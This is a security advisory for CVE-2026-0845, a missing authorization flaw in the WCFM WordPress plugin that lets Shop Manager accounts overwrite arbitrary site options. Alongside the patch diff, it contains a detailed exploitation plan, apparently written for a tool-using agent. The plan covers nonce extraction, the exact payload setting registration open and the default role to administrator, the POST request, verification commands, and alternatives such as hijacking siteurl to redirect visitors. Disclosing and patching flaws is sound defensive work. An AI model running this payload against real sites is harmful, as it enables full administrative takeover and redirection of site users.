WCFM - WooCommerce Frontend Manager <= 6.7.24 - Authenticated (Shop Manager+) Arbitrary Options Update
Description
The WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the 'WCFM_Settings_Controller::processing' function in all versions up to, and including, 6.7.24. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=6.7.24What Changed in the Fix
Changes introduced in v6.7.25
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0845 - WCFM Arbitrary Options Update ## 1. Vulnerability Summary The **WCFM – Frontend Manager for WooCommerce** plugin (versions <= 6.7.24) contains a critical missing authorization vulnerability in its settings processing logic. Specifically, the `WCFM_Setti…
Show full research plan
Exploitation Research Plan: CVE-2026-0845 - WCFM Arbitrary Options Update
1. Vulnerability Summary
The WCFM – Frontend Manager for WooCommerce plugin (versions <= 6.7.24) contains a critical missing authorization vulnerability in its settings processing logic. Specifically, the WCFM_Settings_Controller::processing function fails to verify if the authenticated user has the necessary administrative permissions before updating global WordPress options.
While the AJAX entry point ensures the user has a baseline capability (like manage_woocommerce for Shop Managers), the settings controller iterates over an attacker-supplied array and calls update_option() on arbitrary keys. An attacker with Shop Manager or higher privileges can leverage this to modify sensitive site settings, such as enabling user registration (users_can_register) and setting the default new user role to administrator, leading to full site takeover.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
wcfm_ajax_controller - Required Parameter:
controller=wcfm-settings - Payload Parameter:
wcfm_settings_form(URL-encoded serialized string) - Authentication: Authenticated, Shop Manager role or any role with
manage_woocommercecapability. - Preconditions: The plugin must be active. A Shop Manager account is required to obtain the necessary nonces and reach the controller.
3. Code Flow
- Entry Point: A POST request is sent to
admin-ajax.phpwithaction=wcfm_ajax_controller. - AJAX Routing:
WCFM_Ajax::wcfm_ajax_controller(incore/class-wcfm-ajax.php) is triggered. - Outer Nonce Check: It validates
wcfm_ajax_nonceusingcheck_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ). - Controller Selection: The code checks
$_POST['controller']. If set towcfm-settings, it includescontrollers/settings/wcfm-controller-settings.phpand instantiatesWCFM_Settings_Controller. - Constructor Trigger:
WCFM_Settings_Controller::__constructimmediately calls$this->processing(). - Data Parsing:
processing()(line 26) parses thewcfm_settings_formparameter:parse_str($_POST['wcfm_settings_form'], $wcfm_settings_form);. - Inner Nonce Check: It validates the settings-specific nonce:
wp_verify_nonce( $wcfm_settings_form['wcfm_nonce'], 'wcfm_settings' ). - Vulnerable Sink: Between lines 155–161, the code processes
wcfm_page_options:
Theif( isset( $wcfm_settings_form['wcfm_page_options'] ) ) { $wcfm_page_options = get_option("wcfm_page_options", array()); $wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] ); foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) { update_option( $wcfm_page_option_key, $wcfm_page_option_val ); } update_option( 'wcfm_page_options', $wcfm_page_options ); }foreachloop callsupdate_optionfor every key inside the$wcfm_page_optionsarray, which contains data merged directly from user input.
4. Nonce Acquisition Strategy
Two nonces are required. Since this is an authenticated exploit, we can extract them from the WCFM Dashboard area.
- Identify the Dashboard: WCFM usually lives at a page containing the
[wc_frontend_manager]shortcode. - Action Plan:
- Use
wp post createto ensure a page exists with the[wc_frontend_manager]shortcode if one isn't found. - Use
browser_navigateto visit the WCFM dashboard as the Shop Manager. - Extract the outer AJAX nonce:
browser_eval("window.wcfm_params?.wcfm_ajax_nonce"). - Extract the inner settings nonce: Navigate to the settings sub-page (usually
[dashboard-url]settings/) and usebrowser_eval("window.wcfm_settings_params?.wcfm_nonce")or check forwcfm_noncein the HTML form.
- Use
5. Exploitation Strategy
- Log in as a Shop Manager.
- Extract Nonces:
wcfm_ajax_nonce(Action:wcfm_ajax_nonce)wcfm_nonce(Action:wcfm_settings)
- Construct Payload: Create a URL-encoded string for
wcfm_settings_form.wcfm_nonce=[SETTINGS_NONCE]&wcfm_page_options[users_can_register]=1&wcfm_page_options[default_role]=administrator - Send POST Request:
- URL:
http://[target]/wp-admin/admin-ajax.php - Body:
action:wcfm_ajax_controllercontroller:wcfm-settingswcfm_ajax_nonce:[AJAX_NONCE]wcfm_settings_form:[PAYLOAD_FROM_STEP_3]
- URL:
- Registration: Once options are updated, use the public registration endpoint to create a new administrator user.
6. Test Data Setup
- Users: Create a user with the
shop_managerrole. - Page: Create a page with the shortcode
[wc_frontend_manager]to ensure nonces are localized.wp post create --post_type=page --post_title="Dashboard" --post_content='[wc_frontend_manager]' --post_status=publish - Initial State: Ensure
users_can_registeris0anddefault_roleissubscriber.
7. Expected Results
- The AJAX request should return a JSON response (though the code might die/exit silently if successful).
- The WordPress options
users_can_registeranddefault_rolewill be updated in the database.
8. Verification Steps
After the exploit, use WP-CLI to verify the changes:
wp option get users_can_register # Expected: 1
wp option get default_role # Expected: administrator
9. Alternative Approaches
- Lesser Role: If
shop_manageraccess fails, test with thewcfm_vendorrole, as thewcfm_ajax_controllerswitch case also allows vendors for many sub-controllers. - Direct Option Update: If
wcfm_page_optionsis patched, check other arrays in theprocessing()function, such aswcfm_page_optionsor endpoint options, which might use a similar vulnerable merge/loop pattern. - Option Hijacking: Instead of
default_role, targetsiteurlorhometo cause a Denial of Service or redirect users to a malicious site.
Summary
The WCFM plugin for WordPress is vulnerable to an arbitrary options update due to missing authorization and input validation in the settings controller. Authenticated attackers with Shop Manager privileges can manipulate site settings, such as enabling public registration and changing the default user role to administrator, leading to full site takeover.
Vulnerable Code
// controllers/settings/wcfm-controller-settings.php:155 // Save WCFM page option if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) { $wcfm_page_options = get_option("wcfm_page_options", array()); $wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] ); foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) { update_option( $wcfm_page_option_key, $wcfm_page_option_val ); } update_option( 'wcfm_page_options', $wcfm_page_options ); }
Security Fix
@@ -150,6 +150,8 @@ if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) { $wcfm_page_options = get_option("wcfm_page_options", array()); $wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] ); + $wcfm_allowed_page_keys = apply_filters( 'wcfm_allowed_page_keys', array('wc_frontend_manager_page_id', 'wcfm_vendor_membership_page_id', 'wcfm_vendor_registration_page_id', 'wcfm_affiliate_registration_page_id') ); + $wcfm_page_options = array_intersect_key( $wcfm_page_options, array_flip( $wcfm_allowed_page_keys ) ); foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) { update_option( $wcfm_page_option_key, $wcfm_page_option_val ); } @@ -296,6 +296,10 @@ elseif( $WCFM->is_marketplace == 'dokan' ) new WCFM_Settings_Dokan_Controller(); elseif( $WCFM->is_marketplace == 'wcfmmarketplace' ) new WCFM_Settings_Marketplace_Controller(); } else { + if(!current_user_can( apply_filters( 'wcfm_setup_page_required_capability', 'access_wcfm_site_setup' ) ) && !( function_exists('wcfm_is_manager') && wcfm_is_manager() && function_exists('wcfm_is_group_manager') && ! wcfm_is_group_manager() )) { + wp_send_json_error( esc_html__( 'You don’t have permission to do this.', 'woocommerce' ) ); + wp_die(); + } include_once( $this->controllers_path . 'settings/wcfm-controller-settings.php' ); new WCFM_Settings_Controller(); }
Exploit Outline
To exploit this vulnerability, an attacker with Shop Manager or higher privileges must first obtain two nonces: the AJAX nonce (wcfm_ajax_nonce) and the settings nonce (wcfm_nonce), both accessible from the WCFM dashboard. The attacker then sends a POST request to wp-admin/admin-ajax.php with the action 'wcfm_ajax_controller' and the controller 'wcfm-settings'. The core payload resides in the 'wcfm_settings_form' parameter, where the attacker supplies an array under 'wcfm_page_options'. Because the server merges this array with existing options and iterates through it calling update_option() on every key without validation, the attacker can set 'users_can_register' to 1 and 'default_role' to 'administrator', allowing them to then register a new administrative account on the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.